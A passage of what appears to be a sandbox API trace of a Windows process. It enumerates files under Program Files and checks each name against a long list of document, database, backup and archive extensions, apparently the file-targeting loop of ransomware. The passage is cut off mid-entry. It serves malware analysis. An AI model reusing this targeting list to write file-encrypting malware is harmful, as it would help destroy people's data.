[0181.552] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1 [0181.552] lstrlenW (lpString=".cfm") returned 4 [0181.552] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1 [0181.552] lstrlenW (lpString=".cfml") returned 5 [0181.552] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1 [0181.552] lstrlenW (lpString=".cfu") returned 4 [0181.553] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1 [0181.553] lstrlenW (lpString=".chm") returned 4 [0181.553] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1 [0181.553] lstrlenW (lpString=".cin") returned 4 [0181.553] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1 [0181.553] lstrlenW (lpString=".class") returned 6 [0181.553] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1 [0181.553] lstrlenW (lpString=".clx") returned 4 [0181.553] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1 [0181.553] lstrlenW (lpString=".config") returned 7 [0181.553] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1 [0181.553] lstrlenW (lpString=".cpp") returned 4 [0181.553] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1 [0181.553] lstrlenW (lpString=".cr2") returned 4 [0181.553] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1 [0181.553] lstrlenW (lpString=".crt") returned 4 [0181.553] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1 [0181.553] lstrlenW (lpString=".crw") returned 4 [0181.553] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1 [0181.553] lstrlenW (lpString=".cs") returned 3 [0181.553] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1 [0181.553] lstrlenW (lpString=".css") returned 4 [0181.553] lstrcmpiW (lpString1=".css", lpString2="html") returned -1 [0181.553] lstrlenW (lpString=".csv") returned 4 [0181.554] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1 [0181.554] lstrlenW (lpString=".cub") returned 4 [0181.554] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1 [0181.554] lstrlenW (lpString=".dae") returned 4 [0181.554] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1 [0181.554] lstrlenW (lpString=".dat") returned 4 [0181.554] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1 [0181.554] lstrlenW (lpString=".db") returned 3 [0181.554] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1 [0181.554] lstrlenW (lpString=".dbf") returned 4 [0181.554] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0181.554] lstrlenW (lpString=".dbx") returned 4 [0181.554] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1 [0181.554] lstrlenW (lpString=".dc3") returned 4 [0181.554] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1 [0181.554] lstrlenW (lpString=".dcm") returned 4 [0181.554] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1 [0181.554] lstrlenW (lpString=".dcr") returned 4 [0181.554] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1 [0181.554] lstrlenW (lpString=".der") returned 4 [0181.554] lstrcmpiW (lpString1=".der", lpString2="html") returned -1 [0181.554] lstrlenW (lpString=".dib") returned 4 [0181.554] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1 [0181.555] lstrlenW (lpString=".dic") returned 4 [0181.555] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1 [0181.555] lstrlenW (lpString=".dif") returned 4 [0181.555] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1 [0181.555] lstrlenW (lpString=".divx") returned 5 [0181.555] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1 [0181.555] lstrlenW (lpString=".djvu") returned 5 [0181.555] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1 [0181.555] lstrlenW (lpString=".dng") returned 4 [0181.555] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1 [0181.555] lstrlenW (lpString=".doc") returned 4 [0181.555] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0181.555] lstrlenW (lpString=".docm") returned 5 [0181.555] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1 [0181.555] lstrlenW (lpString=".docx") returned 5 [0181.555] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0181.555] lstrlenW (lpString=".dot") returned 4 [0181.555] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1 [0181.555] lstrlenW (lpString=".dotm") returned 5 [0181.555] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1 [0181.555] lstrlenW (lpString=".dotx") returned 5 [0181.555] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1 [0181.555] lstrlenW (lpString=".dpx") returned 4 [0181.555] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1 [0181.555] lstrlenW (lpString=".dqy") returned 4 [0181.556] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1 [0181.556] lstrlenW (lpString=".dsn") returned 4 [0181.556] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1 [0181.556] lstrlenW (lpString=".dt") returned 3 [0181.556] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1 [0181.556] lstrlenW (lpString=".dtd") returned 4 [0181.556] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1 [0181.556] lstrlenW (lpString=".dwg") returned 4 [0181.556] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1 [0181.556] lstrlenW (lpString=".dwt") returned 4 [0181.556] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1 [0181.556] lstrlenW (lpString=".dx") returned 3 [0181.556] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1 [0181.556] lstrlenW (lpString=".dxf") returned 4 [0181.556] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1 [0181.556] lstrlenW (lpString=".edml") returned 5 [0181.556] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1 [0181.556] lstrlenW (lpString=".efd") returned 4 [0181.556] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1 [0181.556] lstrlenW (lpString=".elf") returned 4 [0181.556] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1 [0181.556] lstrlenW (lpString=".emf") returned 4 [0181.556] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1 [0181.557] lstrlenW (lpString=".emz") returned 4 [0181.557] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1 [0181.557] lstrlenW (lpString=".epf") returned 4 [0181.557] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1 [0181.557] lstrlenW (lpString=".eps") returned 4 [0181.557] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1 [0181.557] lstrlenW (lpString=".epsf") returned 5 [0181.557] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1 [0181.557] lstrlenW (lpString=".epsp") returned 5 [0181.557] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1 [0181.557] lstrlenW (lpString=".erf") returned 4 [0181.557] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1 [0181.557] lstrlenW (lpString=".exr") returned 4 [0181.557] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1 [0181.557] lstrlenW (lpString=".f4v") returned 4 [0181.557] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1 [0181.557] lstrlenW (lpString=".fido") returned 5 [0181.557] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1 [0181.557] lstrlenW (lpString=".flm") returned 4 [0181.557] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1 [0181.557] lstrlenW (lpString=".flv") returned 4 [0181.557] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1 [0181.557] lstrlenW (lpString=".frm") returned 4 [0181.557] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1 [0181.557] lstrlenW (lpString=".fxg") returned 4 [0181.557] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1 [0181.557] lstrlenW (lpString=".geo") returned 4 [0181.557] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1 [0181.557] lstrlenW (lpString=".gif") returned 4 [0181.558] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1 [0181.558] lstrlenW (lpString=".grs") returned 4 [0181.558] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1 [0181.558] lstrlenW (lpString=".gz") returned 3 [0181.558] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1 [0181.558] lstrlenW (lpString=".h") returned 2 [0181.558] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0181.558] lstrlenW (lpString=".hdr") returned 4 [0181.558] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1 [0181.558] lstrlenW (lpString=".hpp") returned 4 [0181.558] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1 [0181.558] lstrlenW (lpString=".hta") returned 4 [0181.558] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1 [0181.558] lstrlenW (lpString=".htc") returned 4 [0181.558] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1 [0181.558] lstrlenW (lpString=".htm") returned 4 [0181.558] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1 [0181.558] lstrlenW (lpString=".html") returned 5 [0181.558] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0 [0181.558] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3b8f4c00, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0181.558] lstrlenW (lpString="toastbeginupgrade.xml") returned 21 [0181.558] lstrlenW (lpString=".1cd") returned 4 [0181.558] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0181.558] lstrlenW (lpString=".3ds") returned 4 [0181.558] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0181.558] lstrlenW (lpString=".3fr") returned 4 [0181.558] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0181.559] lstrlenW (lpString=".3g2") returned 4 [0181.559] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0181.559] lstrlenW (lpString=".3gp") returned 4 [0181.559] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0181.559] lstrlenW (lpString=".7z") returned 3 [0181.559] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0181.560] lstrlenW (lpString=".accda") returned 6 [0181.560] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1 [0181.560] lstrlenW (lpString=".accdb") returned 6 [0181.560] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1 [0181.560] lstrlenW (lpString=".accdc") returned 6 [0181.560] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1 [0181.560] lstrlenW (lpString=".accde") returned 6 [0181.560] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1 [0181.560] lstrlenW (lpString=".accdt") returned 6 [0181.560] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1 [0181.560] lstrlenW (lpString=".accdw") returned 6 [0181.560] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1 [0181.560] lstrlenW (lpString=".adb") returned 4 [0181.560] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0181.560] lstrlenW (lpString=".adp") returned 4 [0181.560] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0181.560] lstrlenW (lpString=".ai") returned 3 [0181.560] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0181.560] lstrlenW (lpString=".ai3") returned 4 [0181.560] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0181.560] lstrlenW (lpString=".ai4") returned 4 [0181.560] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0181.560] lstrlenW (lpString=".ai5") returned 4 [0181.561] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0181.561] lstrlenW (lpString=".ai6") returned 4 [0181.561] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0181.561] lstrlenW (lpString=".ai7") returned 4 [0181.561] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0181.561] lstrlenW (lpString=".ai8") returned 4 [0181.561] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0181.561] lstrlenW (lpString=".anim") returned 5 [0181.561] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1 [0181.561] lstrlenW (lpString=".arw") returned 4 [0181.561] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0181.561] lstrlenW (lpString=".as") returned 3 [0181.561] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0181.561] lstrlenW (lpString=".asa") returned 4 [0181.561] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0181.561] lstrlenW (lpString=".asc") returned 4 [0181.561] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0181.561] lstrlenW (lpString=".ascx") returned 5 [0181.561] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1 [0181.561] lstrlenW (lpString=".asm") returned 4 [0181.561] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0181.561] lstrlenW (lpString=".asmx") returned 5 [0181.561] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1 [0181.561] lstrlenW (lpString=".asp") returned 4 [0181.561] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0181.562] lstrlenW (lpString=".aspx") returned 5 [0181.562] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1 [0181.562] lstrlenW (lpString=".asr") returned 4 [0181.562] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0181.562] lstrlenW (lpString=".asx") returned 4 [0181.562] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0181.562] lstrlenW (lpString=".avi") returned 4 [0181.562] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0181.562] lstrlenW (lpString=".avs") returned 4 [0181.562] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0181.562] lstrlenW (lpString=".backup") returned 7 [0181.562] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1 [0181.562] lstrlenW (lpString=".bak") returned 4 [0181.562] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0181.562] lstrlenW (lpString=".bay") returned 4 [0181.562] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0181.562] lstrlenW (lpString=".bd") returned 3 [0181.562] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0181.562] lstrlenW (lpString=".bin") returned 4 [0181.562] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0181.562] lstrlenW (lpString=".bmp") returned 4 [0181.562] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0181.562] lstrlenW (lpString=".bz2") returned 4 [0181.562] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0181.562] lstrlenW (lpString=".c") returned 2 [0181.562] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0181.563] lstrlenW (lpString=".cdr") returned 4 [0181.563] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0181.563] lstrlenW (lpString=".cer") returned 4 [0181.563] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0181.563] lstrlenW (lpString=".cf") returned 3 [0181.563] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0181.563] lstrlenW (lpString=".cfc") returned 4 [0181.563] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0181.563] lstrlenW (lpString=".cfm") returned 4 [0181.563] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0181.563] lstrlenW (lpString=".cfml") returned 5 [0181.563] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1 [0181.563] lstrlenW (lpString=".cfu") returned 4 [0181.563] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0181.563] lstrlenW (lpString=".chm") returned 4 [0181.563] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0181.563] lstrlenW (lpString=".cin") returned 4 [0181.563] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0181.563] lstrlenW (lpString=".class") returned 6 [0181.563] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1 [0181.563] lstrlenW (lpString=".clx") returned 4 [0181.563] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0181.563] lstrlenW (lpString=".config") returned 7 [0181.563] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1 [0181.563] lstrlenW (lpString=".cpp") returned 4 [0181.563] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0181.564] lstrlenW (lpString=".cr2") returned 4 [0181.564] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0181.564] lstrlenW (lpString=".crt") returned 4 [0181.564] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0181.564] lstrlenW (lpString=".crw") returned 4 [0181.564] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0181.564] lstrlenW (lpString=".cs") returned 3 [0181.564] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0181.564] lstrlenW (lpString=".css") returned 4 [0181.564] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0181.564] lstrlenW (lpString=".csv") returned 4 [0181.564] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0181.564] lstrlenW (lpString=".cub") returned 4 [0181.564] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0181.564] lstrlenW (lpString=".dae") returned 4 [0181.564] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0181.564] lstrlenW (lpString=".dat") returned 4 [0181.564] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0181.564] lstrlenW (lpString=".db") returned 3 [0181.564] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0181.564] lstrlenW (lpString=".dbf") returned 4 [0181.564] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0181.565] lstrlenW (lpString=".dbx") returned 4 [0181.565] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0181.565] lstrlenW (lpString=".dc3") returned 4 [0181.565] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0181.565] lstrlenW (lpString=".dcm") returned 4 [0181.565] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0181.565] lstrlenW (lpString=".dcr") returned 4 [0181.565] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0181.565] lstrlenW (lpString=".der") returned 4 [0181.565] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0181.565] lstrlenW (lpString=".dib") returned 4 [0181.565] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0181.565] lstrlenW (lpString=".dic") returned 4 [0181.565] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0181.565] lstrlenW (lpString=".dif") returned 4 [0181.565] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0181.565] lstrlenW (lpString=".divx") returned 5 [0181.565] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1 [0181.565] lstrlenW (lpString=".djvu") returned 5 [0181.565] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1 [0181.566] lstrlenW (lpString=".dng") returned 4 [0181.566] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0181.566] lstrlenW (lpString=".doc") returned 4 [0181.566] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0181.566] lstrlenW (lpString=".docm") returned 5 [0181.566] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1 [0181.566] lstrlenW (lpString=".docx") returned 5 [0181.566] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0181.566] lstrlenW (lpString=".dot") returned 4 [0181.566] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0181.566] lstrlenW (lpString=".dotm") returned 5 [0181.566] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1 [0181.566] lstrlenW (lpString=".dotx") returned 5 [0181.566] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1 [0181.566] lstrlenW (lpString=".dpx") returned 4 [0181.566] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0181.566] lstrlenW (lpString=".dqy") returned 4 [0181.566] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0181.566] lstrlenW (lpString=".dsn") returned 4 [0181.566] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0181.567] lstrlenW (lpString=".dt") returned 3 [0181.567] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0181.567] lstrlenW (lpString=".dtd") returned 4 [0181.567] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0181.567] lstrlenW (lpString=".dwg") returned 4 [0181.567] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0181.567] lstrlenW (lpString=".dwt") returned 4 [0181.567] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0181.567] lstrlenW (lpString=".dx") returned 3 [0181.567] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0181.567] lstrlenW (lpString=".dxf") returned 4 [0181.567] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0181.567] lstrlenW (lpString=".edml") returned 5 [0181.567] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1 [0181.567] lstrlenW (lpString=".efd") returned 4 [0181.567] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0181.567] lstrlenW (lpString=".elf") returned 4 [0181.567] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0181.567] lstrlenW (lpString=".emf") returned 4 [0181.567] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0181.567] lstrlenW (lpString=".emz") returned 4 [0181.567] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0181.567] lstrlenW (lpString=".epf") returned 4 [0181.567] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0181.567] lstrlenW (lpString=".eps") returned 4 [0181.567] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0181.568] lstrlenW (lpString=".epsf") returned 5 [0181.568] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1 [0181.568] lstrlenW (lpString=".epsp") returned 5 [0181.568] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1 [0181.568] lstrlenW (lpString=".erf") returned 4 [0181.568] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0181.568] lstrlenW (lpString=".exr") returned 4 [0181.568] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0181.568] lstrlenW (lpString=".f4v") returned 4 [0181.568] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0181.568] lstrlenW (lpString=".fido") returned 5 [0181.568] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1 [0181.568] lstrlenW (lpString=".flm") returned 4 [0181.568] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0181.568] lstrlenW (lpString=".flv") returned 4 [0181.568] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0181.568] lstrlenW (lpString=".frm") returned 4 [0181.568] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0181.568] lstrlenW (lpString=".fxg") returned 4 [0181.568] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0181.568] lstrlenW (lpString=".geo") returned 4 [0181.568] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0181.568] lstrlenW (lpString=".gif") returned 4 [0181.568] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0181.569] lstrlenW (lpString=".grs") returned 4 [0181.569] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0181.569] lstrlenW (lpString=".gz") returned 3 [0181.569] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0181.569] lstrlenW (lpString=".h") returned 2 [0181.569] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0181.570] lstrlenW (lpString=".hdr") returned 4 [0181.570] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0181.570] lstrlenW (lpString=".hpp") returned 4 [0181.570] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0181.570] lstrlenW (lpString=".hta") returned 4 [0181.570] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0181.570] lstrlenW (lpString=".htc") returned 4 [0181.570] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0181.570] lstrlenW (lpString=".htm") returned 4 [0181.570] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0181.570] lstrlenW (lpString=".html") returned 5 [0181.570] lstrcmpiW (lpString1=".html", lpString2="e.xml") returned -1 [0181.570] lstrlenW (lpString=".icb") returned 4 [0181.570] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0181.570] lstrlenW (lpString=".ics") returned 4 [0181.570] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0181.570] lstrlenW (lpString=".iff") returned 4 [0181.570] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1 [0181.570] lstrlenW (lpString=".inc") returned 4 [0181.570] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1 [0181.570] lstrlenW (lpString=".indd") returned 5 [0181.570] lstrcmpiW (lpString1=".indd", lpString2="e.xml") returned -1 [0181.571] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x193, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0181.571] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0181.571] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0181.571] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0181.572] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0181.572] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7adca7e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0181.572] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0181.573] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7adca7e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, 